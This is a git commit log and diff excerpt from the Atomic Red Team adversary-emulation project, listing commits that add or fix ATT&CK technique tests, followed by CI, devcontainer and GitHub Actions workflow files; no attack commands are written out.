Co-authored-by: Carl <57147304+rc-grey@users.noreply.github.com>
Co-authored-by: mrblacyk <kweinzettl@gmail.com>
Co-authored-by: sn0w0tter <42819997+sn0w0tter@users.noreply.github.com>
Co-authored-by: Yugoslavskiy Daniil <yugoslavskiy@gmail.com>
Co-authored-by: yugoslavskiy <daniil@yugoslavskiy.com>
Co-authored-by: omkargudhate22 <36105402+omkar72@users.noreply.github.com>
Co-authored-by: Keith McCammon <keith@redcanary.com>
Co-authored-by: Matt Graeber <60448025+mgraeber-rc@users.noreply.github.com>
2021-04-19 11:49:59 -06:00
CircleCI Atomic Red Team doc generator 9f9eed13ea Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-19 17:35:02 +00:00
CircleCI Atomic Red Team GUID generator 83510cb71c Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-19 17:34:57 +00:00
jtothef 2c21e810c1 Add T1491.001 (#1429)
* Add T1491.001

Adding new atomic for T1491.001 - Defacement: Internal Defacement
Uses PowerShell to download image and sets it as the desktop wallpaper.
Additionally, script will create a file holding the location to the original wallpaper image and restore it during cleanup.

Confirmed operational on Windows 10.

* Update T1491.001.yaml

Adding formatting changes

* Update T1491.001.yaml

Adding a few additional formatting changes.
2021-04-19 11:34:37 -06:00
CircleCI Atomic Red Team doc generator 3563a38fc8 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-18 03:57:42 +00:00
CircleCI Atomic Red Team GUID generator aebaa03a44 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-18 03:57:37 +00:00
mayday-035 8af0006607 Test for T1221 Remote Template Injection (#1424)
* Test for T1221 Remote Template Injection

* Update T1221.yaml

* Update T1221.yaml

* Update T1221.yaml

* Update T1221.yaml

* Update T1221.yaml

* Create readme.txt

* Files to complete this test.

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-04-17 21:57:22 -06:00
CircleCI Atomic Red Team doc generator 393890982c Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-18 03:28:58 +00:00
Scoubi 0a6ee1aac7 Use wildcard '*' for .NET path (#1430)
This way the test will be valid for future release of .NET. 
It has already jump from 5.0.3 to 5.0.5 while I was building this test.
2021-04-17 21:28:35 -06:00
CircleCI Atomic Red Team doc generator c95a59500a Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-16 05:23:21 +00:00
CircleCI Atomic Red Team GUID generator 330e495c51 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-16 05:23:16 +00:00
zedutchmann f8e0e5b85f T1036 (#1428)
* Create tempt.txt

* Add new T1036 test

* Delete tempt.txt
2021-04-15 23:22:56 -06:00
Scoubi bf51ec7773 Remove a ' in the Display name (#1427) 2021-04-15 19:47:20 -06:00
CircleCI Atomic Red Team doc generator 2100c71cd8 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-16 01:40:47 +00:00
CircleCI Atomic Red Team GUID generator 67d126df9b Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-16 01:40:42 +00:00
Scoubi 07b9953659 T1137 and t1003.001 (#1426)
* Add a test for T1003.001 and T1137

* Fix some errors in T1003.001

* Update spacing
2021-04-15 19:40:20 -06:00
CircleCI Atomic Red Team doc generator e460fe7bd4 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-15 22:53:22 +00:00
Ryan db117e55cf Update T1133.yaml (#1417)
* Update T1133.yaml

Wont need chrome on path, start-proc location was in x86?

* remove program files ambiguity

* put extensions ids back

* Update T1133.yaml

* Update T1133.yaml

* Update T1133.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-04-15 16:52:49 -06:00
CircleCI Atomic Red Team doc generator 3dfe116ec1 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-09 14:29:43 +00:00
CircleCI Atomic Red Team GUID generator 958eea13f4 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-09 14:29:37 +00:00
Wesley Cesar 91eca87002 Update T1082.yaml (#1421)
Added environmet variables discovery

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-04-09 08:29:11 -06:00
CircleCI Atomic Red Team doc generator c32fa3af4f Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-08 17:48:04 +00:00
Carrie Roberts dfa1c271f8 programatically determine location of protocolhandler (#1420) 2021-04-08 11:47:25 -06:00
CircleCI Atomic Red Team doc generator 3f103f9603 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-08 14:34:34 +00:00
Carrie Roberts 4fb4525bf3 small correction to handle cmd/ps executors (#1419) 2021-04-08 08:34:04 -06:00
CircleCI Atomic Red Team doc generator 9eda0b1d7f Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-08 13:22:48 +00:00
Ryan 7ac896f82a Update T1027.yaml (#1418)
Because, powershell executor

Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2021-04-08 07:22:23 -06:00
CircleCI Atomic Red Team doc generator a2b44e6026 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-08 13:20:04 +00:00
Ryan 23c3f8114b Update T1218.yaml (#1416)
Default install path was c:\Program Files\Microsoft Office\root\Office16\protocolhandler.exe

Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2021-04-08 07:19:27 -06:00
CircleCI Atomic Red Team doc generator f62f72c9d8 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-08 13:12:07 +00:00
Ryan d5f39f7819 Update T1555.yaml (#1415)
Was failing prereqs due to missing $process value

Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2021-04-08 07:11:40 -06:00
CircleCI Atomic Red Team doc generator adc459fbf7 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-08 13:10:07 +00:00
Ryan ba13a01daf Update T1569.002.yaml (#1414)
I was failing to pass the precheck without adding in the dependency_executor_name parameter. Something with parsing I believe
2021-04-08 07:09:43 -06:00
CircleCI Atomic Red Team doc generator 2ecb4a4f84 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-08 13:08:38 +00:00
Carrie Roberts 678d9c5444 remove non-PS command and incorrect param (#1413)
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2021-04-08 07:08:08 -06:00
CircleCI Atomic Red Team doc generator 5148bb998c Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-07 03:39:44 +00:00
CircleCI Atomic Red Team GUID generator cd3087fa78 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-07 03:39:39 +00:00
inc0gnit0 ee6707aadb Added T1053.006 - Blackbot Inc. (#1412)
* Added T1053.006 - Raymond

* Update T1053.006.yaml

* Update used_guids.txt

Co-authored-by: ryang <ryang@blackbot.io>
2021-04-06 21:39:25 -06:00
CircleCI Atomic Red Team doc generator 8035973916 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-02 14:18:48 +00:00
CircleCI Atomic Red Team GUID generator afb9b9cc33 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-02 14:18:43 +00:00
Carl 4a2f5b9a73 Merge pull request #1230 from tlor89/T1070.003_Update 2021-04-02 08:18:30 -06:00
tlor89 0c9a8d403e Merge branch 'master' into T1070.003_Update 2021-04-02 09:12:26 -05:00
tlor89 a2395663c0 Update for Disable Bash History Logging with SSH -T Atomic
Made the following changes for -T for the command and resolved supported platform to linux
2021-04-02 09:07:57 -05:00
tlor89 08b98f2556 Update T1070.003.yaml 2021-04-02 09:03:48 -05:00
CircleCI Atomic Red Team doc generator ea98ba6b7a Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-02 13:30:11 +00:00
CircleCI Atomic Red Team GUID generator 76a1c0f4bc Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-02 13:30:06 +00:00
tlor89 f4bdccc905 t1564-update (#1411)
Co-authored-by: Toua Lor <tlor@nti.local>
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2021-04-02 07:29:46 -06:00
CircleCI Atomic Red Team doc generator 228dcb1ae3 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-02 13:28:54 +00:00
Carrie Roberts 8b6c9af427 add usebasicparsing flag (#1410) 2021-04-02 07:28:29 -06:00
CircleCI Atomic Red Team doc generator 180623c8ab Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-04-01 16:50:55 +00:00
Carrie Roberts 0c3ab2ea9c update nav layer version (#1409) 2021-04-01 10:50:37 -06:00
CircleCI Atomic Red Team doc generator bc17626d85 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-03-24 18:39:14 +00:00
Adam Mashinchi f2cb520542 Remove ARTifacts directory (#1408)
* Update 1547.001 with link to stable "ARTifact" URL

Creating static link for Discovery.bat as "ARTifacts" directory is slated for removal.

* Update 1547.001.md to reflect YAML change

* Delete ARTifacts directory

Legacy URL available here: https://github.com/redcanaryco/atomic-red-team/tree/e88a1ea463964839e267dba74ec1cf7bf634ccbf/ARTifacts
2021-03-24 12:38:00 -06:00
Adam Mashinchi 8abfac83a5 Merge pull request #2 from redcanaryco/master
Update from Upstream
2021-03-24 10:23:23 -07:00
CircleCI Atomic Red Team doc generator 058b5c2423 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-03-22 15:39:07 +00:00
Matt Graeber 92026b8e3c Moving Invoke-Mimikatz test to T1003.001 (#1407) 2021-03-22 09:38:35 -06:00
CircleCI Atomic Red Team doc generator 396ea73b70 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-03-13 14:24:38 +00:00
CircleCI Atomic Red Team GUID generator 4803288632 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-03-13 14:24:31 +00:00
Matt Graeber 80415a586f Moving mavinject test to T1055.001 and src cleanup #1404 (#1405)
* Moving mavinject test to T1055.001 and src cleanup #1404

* Adding Windows Command Prompt test

* Adding rundll32.exe test

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-03-13 07:22:36 -07:00
Adam Mashinchi 78d40c38a0 Merge pull request #1406 from amashinchi-rc/update-slack-invite-url
Update Slack Invite on Website
2021-03-12 10:30:19 -08:00
Michael Haag 83a9f985e4 Merge branch 'master' into update-slack-invite-url 2021-03-12 11:05:02 -07:00
Adam Mashinchi b72f5785ac Update Slack Invite on Website
Also updating the URL on the atomicredteam.io website.
2021-03-12 10:02:09 -08:00
Matt Graeber f03437fd28 Merge pull request #1403 from amashinchi-rc/update-slack-invite-url
Update the Slack Invite Request URL
2021-03-12 10:24:54 -05:00
Adam Mashinchi a8d45abe94 Update the Slack Invite Request URL
The web app for requesting a Slack invite no longer works due to a deprecated Slack API call. Moving requests to a (Red Canary provided) Google Form.
2021-03-11 15:15:00 -08:00
CircleCI Atomic Red Team doc generator a574666190 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-03-10 14:55:55 +00:00
Carrie Roberts 4031861550 add quotes to fix command execution (#1401)
Thank you @aky1286 and Issue #1400
2021-03-10 07:55:23 -07:00
CircleCI Atomic Red Team doc generator 974e2eb8b6 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-03-10 04:09:43 +00:00
Clément Notin 2221b0715b T1055: psexec "-s" is not required (#1402)
Since the user is admin the debug privilege is automatically obtained when necessary for the injection
The TTP is also clearer because mimikatz runs as the current user (used for psexec) and not as SYSTEM
2021-03-09 21:09:09 -07:00
CircleCI Atomic Red Team doc generator 2fd6408411 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-03-06 04:06:46 +00:00
Carl fec19f8bef Merge pull request #1398 from YSaxon/patch-1
remove macOS from /etc/passwd test
2021-03-05 21:06:10 -07:00
Yaakov Saxon 32af0f1aba Merge pull request #1 from YSaxon/patch-2
Update T1087.001.md
2021-03-04 14:32:14 -05:00
Yaakov Saxon 7ed9ed1a3e Update T1087.001.md 2021-03-04 14:31:19 -05:00
Yaakov Saxon 9cf7f56150 remove macOS from /etc/passwd test
macOS has an /etc/passwd file, but it doesn't actually use it under normal circumstances and user accounts are not listed there (it's just a standard default file that never changes)

As the header for the file states: 
# Note that this file is consulted directly only when the system is running
# in single-user mode.  At other times this information is provided by
# Open Directory.
2021-03-04 14:19:29 -05:00
CircleCI Atomic Red Team doc generator 7f6de4f651 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-03-01 17:33:15 +00:00
CircleCI Atomic Red Team GUID generator 8d93e1c859 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-03-01 17:33:08 +00:00
Carl c53797cbfc Merge pull request #1319 from cherokeejb/patch-33
removed redundant 'sh' atomic, added nix keylogging atomic w fixes from prior commit
2021-03-01 10:32:49 -07:00
Carl 1dd81b1687 Merge branch 'master' into patch-33 2021-03-01 10:29:07 -07:00
CircleCI Atomic Red Team doc generator 07b61288d6 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-02-26 15:49:41 +00:00
CircleCI Atomic Red Team GUID generator 493c343724 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-02-26 15:49:35 +00:00
BlueTeamOps b91312451f Added auditpol based config clear atomics (#1392)
* Added auditpol based config clear atomics

Included remove and clear switches for auditpol based logging impairment.

* add warning statement

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-02-26 08:49:14 -07:00
CircleCI Atomic Red Team doc generator 9ccb1da335 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-02-24 02:33:41 +00:00
Alex Jackson b1505aa7da Fix broken link (#1397) 2021-02-23 19:33:15 -07:00
CircleCI Atomic Red Team doc generator 8b527927b5 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-02-18 15:58:10 +00:00
McNulty 645cb4edcd Update T1485.yaml (#1395)
Let the file which will be deleted be more dynamic to allow users to define thier own using an input argument

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-02-18 08:57:41 -07:00
Brian Thacker 7e974e12f2 Update qakbot.bat (#1393)
Updated qakbot recon command list as reported by DFIR Reports: https://twitter.com/TheDFIRReport/status/1361331598344478727

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-02-18 08:52:00 -07:00
CircleCI Atomic Red Team doc generator 95e6b573e7 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-02-17 18:19:25 +00:00
Carrie Roberts ac04c34c4a Create file to delete as part of attack cmds (#1394)
* Create file to delete as part of attack cmds

* remove sample test
2021-02-17 18:19:00 +00:00
nobletrout 34f4512f15 add caching of techniques. performance improvement. (#1391) 2021-02-12 19:28:31 -07:00
CircleCI Atomic Red Team doc generator 881e46997b Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-02-11 20:47:58 +00:00
CircleCI Atomic Red Team GUID generator 8ba4d67987 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-02-11 20:47:50 +00:00
Alain Homewood 6573d40801 Added test for T1137.004 to test Outlook Home Page persistence and pa… (#1381)
* Added test for T1137.004 to test Outlook Home Page persistence and payload execution

* Fix ATT&CK technique numbers

Co-authored-by: inzlain <inzlain@localhost>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-02-11 13:47:27 -07:00
CircleCI Atomic Red Team doc generator 43bda07d49 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-02-11 17:19:00 +00:00
CircleCI Atomic Red Team GUID generator 17639d4d95 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-02-11 17:18:52 +00:00
Jonhnathan 57b1728731 Update T1136.002.yaml (#1384)
* Update T1136.002.yaml

* Adds default values, remove guid

* remove auto_generated_guid line

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-02-11 10:18:38 -07:00
dependabot[bot] fc3a267c82 Bump nokogiri from 1.10.10 to 1.11.1 (#1389)
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.10.10 to 1.11.1.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.10.10...v1.11.1)

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-02-11 09:45:37 -07:00
CircleCI Atomic Red Team doc generator ac3c47befe Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-02-11 16:17:23 +00:00
Michael Haag 6f91baab5c Update T1553.004.yaml (#1386)
Fixed test as it was not working

Co-authored-by: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-02-11 09:16:41 -07:00
CircleCI Atomic Red Team doc generator 73bdd9c307 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-02-11 15:59:48 +00:00
Brandon Morgan 81f2b097b5 prereq fixes (#1388)
prereq fixes

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-02-11 08:59:22 -07:00
CircleCI Atomic Red Team doc generator e136a49db2 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-02-11 14:06:01 +00:00
CircleCI Atomic Red Team GUID generator af5fbff0f2 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-02-11 14:05:53 +00:00
jtothef 3fcf639acf Create T1120.yaml (#1387) 2021-02-11 07:05:39 -07:00
CircleCI Atomic Red Team doc generator e529ce5732 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-02-09 18:52:32 +00:00
Brian Thacker 94791c8073 T1113 x windows capture prereqs (#1382)
* Update T1113.yaml

Added prereq commands to test 3 "X Windows Capture"

* Update T1113.yaml

errors with multi-line if statement. Condensed to one line

* Update T1113.yaml

Changed prereqs of test 3 to be the redhat default. Changed prereqs of test 3 to have more input arguments

* Update T1113.yaml

Fixed typo in descriptions.

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-02-09 11:51:53 -07:00
CircleCI Atomic Red Team doc generator e922799d43 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-02-09 18:16:39 +00:00
CircleCI Atomic Red Team GUID generator 87c5003eb5 Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-02-09 18:16:30 +00:00
Brian Thacker 9ae0109e92 Update T1218.010.yaml (#1383)
Added Test 5: Regsvr32 Silent DLL Install Call DllRegisterServer

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-02-09 11:16:09 -07:00
CircleCI Atomic Red Team doc generator adb8256347 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-02-09 18:14:10 +00:00
CircleCI Atomic Red Team GUID generator c5d92bca5d Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-02-09 18:14:01 +00:00
BlueTeamOps f8c8fbcab1 Added Audit Policy Config based Logging Impairment (#1378)
* Added Audit Policy Config based Logging Impairment

Auditpol can be used to manipulate audit log configuration.  Test 3 simulates the adversary disabling certain audit policies to prevent respective events from being recorded in the log

* Add link, update test name

Adding in the Solarigate write-up link for reference and also removing the test # from the title (this gets added automatically to the Markdown file)

* added cleanup commands

Hi Carrie, The pre-req commands enables the auditpols initially so that it can be disabled when the atomic command is executed.  I have copied the same syntax as pre-req to clean-up so it is reinstated. Based on additional research I have several more commands of interest I would like to add which were not part of the MS article but would be considered suspicious.  Shall I add them as separate tests? i.e. sub-commands such as clear, restore, remove

* Removed the dependency section 

Removed the dependency section

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2021-02-09 11:13:25 -07:00
CircleCI Atomic Red Team doc generator 802c6f33bc Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-02-03 02:33:01 +00:00
CircleCI Atomic Red Team GUID generator 333e2407af Generate GUIDs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-02-03 02:32:53 +00:00
Michael Haag 05ce4209b5 procdump mini dump (#1380)
Co-authored-by: mhaag-spl <76067280+mhaag-spl@users.noreply.github.com>
2021-02-02 19:32:35 -07:00
CircleCI Atomic Red Team doc generator 16ad79e864 Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci] 2021-02-01 17:01:17 +00:00
Carrie Roberts b3b1a2bb68 typo fix (#1379) 2021-02-01 10:00:51 -07:00
JB 13d6dd0357 Merge branch 'master' into patch-33 2020-12-10 01:04:27 -06:00
JB 43815e0c0f simpliifed prereq command 2020-11-15 02:04:17 -06:00
JB 3505174fa3 fixing typo and adjusting privledges on prereq 2020-11-15 01:43:26 -06:00
JB bfbff31b5a Test 2 - added alternate pam.d module location like in CentOS
-also removed text "using shell" because that should have been removed when the bash version was released
2020-11-15 01:33:04 -06:00
JB b03e1ebced Code fix, and Updates per spec to unix keylogging atomic
-removed test for "bash" since in this case, the bashism does not add value or have much to do with the test
-edited requirement for restarting the service. not necessary/irrelevant to the file-change
-reviewed overall yaml per recent templates
-testing using invoke-atomic executor
2020-11-14 16:49:50 -06:00
Toua Lor 14b746b73e T1070.003_SSH-T 2020-09-30 14:53:20 -05:00
Toua Lor e497f0bce5 T1070.003_SSH-T 2020-09-30 14:46:21 -05:00
Toua Lor 2839942c1f SSH -T 2020-09-30 14:28:41 -05:00
JB eb5c8e4916 Merge branch 'master' into patch-33 2020-08-26 12:55:21 -05:00
JB a14952c4b0 made cleanup more in line with project spec (repeatable) + minor chg
Updated both, on both tests:
-made cleanup more in line with project spec - copy instead of mv so it never fails
-edited description so it mentions adversary

comment:  I think it is good to have the prereq command, in case a host does not have that specific library installed, if not then the atomic would fail
2020-08-15 22:39:27 -05:00
JB 82b3dd27df Merge branch 'master' into patch-33 2020-08-15 22:17:02 -05:00
JB 75b378af51 removed training space, minor formatting fix 2020-08-13 23:31:06 -05:00
JB ddd1a5117d fixed minor typo
spacing error
2020-08-13 23:27:02 -05:00
JB 04ccc0c2aa corrected typo and made test names and descr. different
test 2 - bash, test 3 sh
2020-08-13 23:21:03 -05:00
JB 84a16f7a6a Added new test, test 2 "Living off the land Terminal Input Capture on Linux with pam.d"
Added for both bash and sh, including cleanup and prereq.  might be useful to add get_prereq later, that would make it more noisy and not truly 'living off the land', then.
2020-08-13 23:13:23 -05:00
1241 changed files with 1938502 additions and 338391 deletions
-84
View File
@@ -1,84 +0,0 @@
version: 2
defaults: &defaults
docker:
- image: circleci/ruby:2.4
workflows:
version: 2
validate:
jobs:
- validate_atomics
generate-guids-and-docs:
jobs:
- generate_and_commit_guids_and_docs:
filters:
branches:
only: master
jobs:
validate_atomics:
<<: *defaults
steps:
- checkout
- add_ssh_keys
- run:
name: Validate the format of atomic tests against the spec
command: |
bin/validate-atomics.rb
generate_and_commit_guids_and_docs:
<<: *defaults
steps:
- checkout
- add_ssh_keys
- run:
name: Generate and commit unique GUIDs for each atomic test
command: |
bin/generate-guids.rb
echo ""
echo ""
git status
echo ""
echo ""
git diff-index HEAD --
if git diff-index --quiet HEAD -- ; then
echo "Not committing GUID changes because there are no changes"
else
git config credential.helper 'cache --timeout=120'
git config user.email "<email>"
git config user.name "CircleCI Atomic Red Team GUID generator"
git add atomics
git commit -am "Generate GUIDs from job=$CIRCLE_JOB branch=$CIRCLE_BRANCH [skip ci]"
git push -u origin $CIRCLE_BRANCH
fi
- run:
name: Generate and commit nice markdown documents for atomics
command: |
bin/generate-atomic-docs.rb
echo ""
echo ""
git status
echo ""
echo ""
git diff-index HEAD --
if git diff-index --quiet HEAD -- ; then
echo "Not committing documentation because there are no changes"
else
git config credential.helper 'cache --timeout=120'
git config user.email "<email>"
git config user.name "CircleCI Atomic Red Team doc generator"
git add atomics
git commit -am "Generate docs from job=$CIRCLE_JOB branch=$CIRCLE_BRANCH [skip ci]"
git push -u origin $CIRCLE_BRANCH
fi
+26
View File
@@ -0,0 +1,26 @@
{
"image": "mcr.microsoft.com/devcontainers/universal:2",
"features": {
"ghcr.io/devcontainers/features/powershell:1": {},
"ghcr.io/natescherer/devcontainers-custom-features/powershell-resources:1": {
"resources": "powershell-yaml,invoke-atomicredteam"
}
},
"remoteUser": "root",
"onCreateCommand": "pwsh /workspaces/atomic-red-team/.devcontainer/setup.ps1",
"customizations": {
"vscode": {
"extensions": [
"ms-vscode.powershell"
],
"settings": {
"terminal.integrated.defaultProfile.linux": "pwsh",
"terminal.integrated.profiles.linux": {
"pwsh": {
"path": "/usr/bin/pwsh"
}
}
}
}
}
}
+7
View File
@@ -0,0 +1,7 @@
New-Item $PROFILE -Force
Set-Variable -Name "InvokePath" -Value (Get-Item /usr/local/share/powershell/Modules/Invoke-AtomicRedTeam/**/Invoke-AtomicRedTeam.psd1).FullName
Write-Output @"
Import-Module $InvokePath -Force
`$PSDefaultParameterValues`["Invoke-AtomicTest:PathToAtomicsFolder"] = "/workspaces/atomic-red-team/atomics";
`$PSDefaultParameterValues`["Invoke-AtomicTest:ExecutionLogPath"]="$HOME/AtomicRedTeam/execution.csv";
"@ > $PROFILE
+2 -2
View File
@@ -8,12 +8,12 @@ assignees: ''
---
<!--
For reference, check out this article that explains how to properly submit a new atomic test: https://atomicredteam.io/contributing#how-to-contribute.
For reference, check out this article that explains how to properly submit a new atomic test: https://www.atomicredteam.io/atomic-red-team/docs/designing-atomic-tests.
-->
### Technique ID: TXXXX
### Additional Details
<!--
Anything you'd like to share or explain that isn't represented in the contents of the YAML-based test definition.
Anything you'd like to share or explain that isn't represented in the contents of the YAML-based test definition.
-->
+16
View File
@@ -0,0 +1,16 @@
# To get started with Dependabot version updates, you'll need to specify which
# package ecosystems to update and where the package manifests are located.
# Please see the documentation for all configuration options:
# https://docs.github.com/github/administering-a-repository/configuration-options-for-dependency-updates
version: 2
updates:
- package-ecosystem: "pip" # See documentation for possible values
directory: "/" # Location of package manifests
schedule:
interval: "weekly"
# Maintain dependencies for GitHub Actions
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
+59
View File
@@ -0,0 +1,59 @@
name: assign-labels
on:
workflow_run:
workflows: ["validate-atomics"]
types:
- completed
jobs:
assign-labels:
runs-on: ubuntu-latest
steps:
- name: download-artifact
uses: actions/github-script@v8
with:
script: |
let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
owner: context.repo.owner,
repo: context.repo.repo,
run_id: context.payload.workflow_run.id,
});
let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
return artifact.name == "labels.json"
})[0];
let download = await github.rest.actions.downloadArtifact({
owner: context.repo.owner,
repo: context.repo.repo,
artifact_id: matchArtifact.id,
archive_format: 'zip',
});
let fs = require('fs');
fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/labels.zip`, Buffer.from(download.data));
- name: unzip-artifact
run: unzip labels.zip
- name: assign-labels-and-reviewers
uses: actions/github-script@v8
with:
script: |
let fs = require('fs');
const obj = JSON.parse(fs.readFileSync('./labels.json'));
console.log(obj)
if(obj.labels.length > 0){
await github.rest.issues.addLabels({
issue_number: obj.pr,
owner: context.repo.owner,
repo: context.repo.repo,
labels: obj.labels
})
}
if(obj.maintainers.length > 0){
await github.rest.issues.addAssignees({
issue_number: obj.pr,
owner: context.repo.owner,
repo: context.repo.repo,
assignees: obj.maintainers
});
}
+69
View File
@@ -0,0 +1,69 @@
name: generate-docs
on:
push:
branches: [ "master" ]
jobs:
generate-docs:
runs-on: ubuntu-latest
steps:
- name: checkout repo
uses: actions/checkout@v6
with:
token: ${{ secrets.PROTECTED_BRANCH_PUSH_TOKEN }}
- name: Install poetry
run: pipx install poetry
- uses: actions/setup-python@v6
with:
python-version: "3.11.2"
cache: "poetry"
- name: Install dependencies
run: poetry install --no-interaction
- name: Generate shields.io URL
run: poetry run python runner.py generate-counter
id: counter
working-directory: atomic_red_team
env:
PYTHONPATH: ${{ github.workspace }}
- name: Update README
run: |
echo ${{ steps.counter.outputs.result }}
sed -i "s|https://img.shields.io/badge/Atomics-.*-flat.svg|${{ steps.counter.outputs.result }}|" README.md
shell: bash
- name: Generate and commit unique GUIDs for each atomic test
run: poetry run python runner.py generate-guids
working-directory: atomic_red_team
env:
PYTHONPATH: ${{ github.workspace }}
- name: setup ruby
uses: ruby/setup-ruby@v1
with:
ruby-version: 3.0
bundler-cache: true
- name: generate markdown docs for atomics
run: |
bin/generate-atomic-docs.rb
echo ""
echo ""
git status
echo ""
echo ""
git diff-index HEAD --
if git diff-index --quiet HEAD -- ; then
echo "Not committing documentation because there are no changes"
else
git config credential.helper 'cache --timeout=120'
git config user.email "opensource@redcanary.com"
git config user.name "Atomic Red Team doc generator"
git add README.md
git add atomics
git commit -am "Generated docs from job=$GITHUB_JOB branch=$GITHUB_REF_NAME [ci skip]"
git push origin $GITHUB_REF_NAME -f
fi
+29
View File
@@ -0,0 +1,29 @@
name: validate-python-file-changes
on:
pull_request:
branches:
- master
paths:
- "atomic_red_team/**/*.py"
jobs:
validate-python-file-changes:
runs-on: macos-latest
steps:
- name: checkout repo
uses: actions/checkout@v6
- name: Install poetry
run: pipx install poetry
- name: setup python3.11
uses: actions/setup-python@v6
id: setup-python
with:
python-version: "3.12.4"
cache: "poetry"
- name: Install dependencies
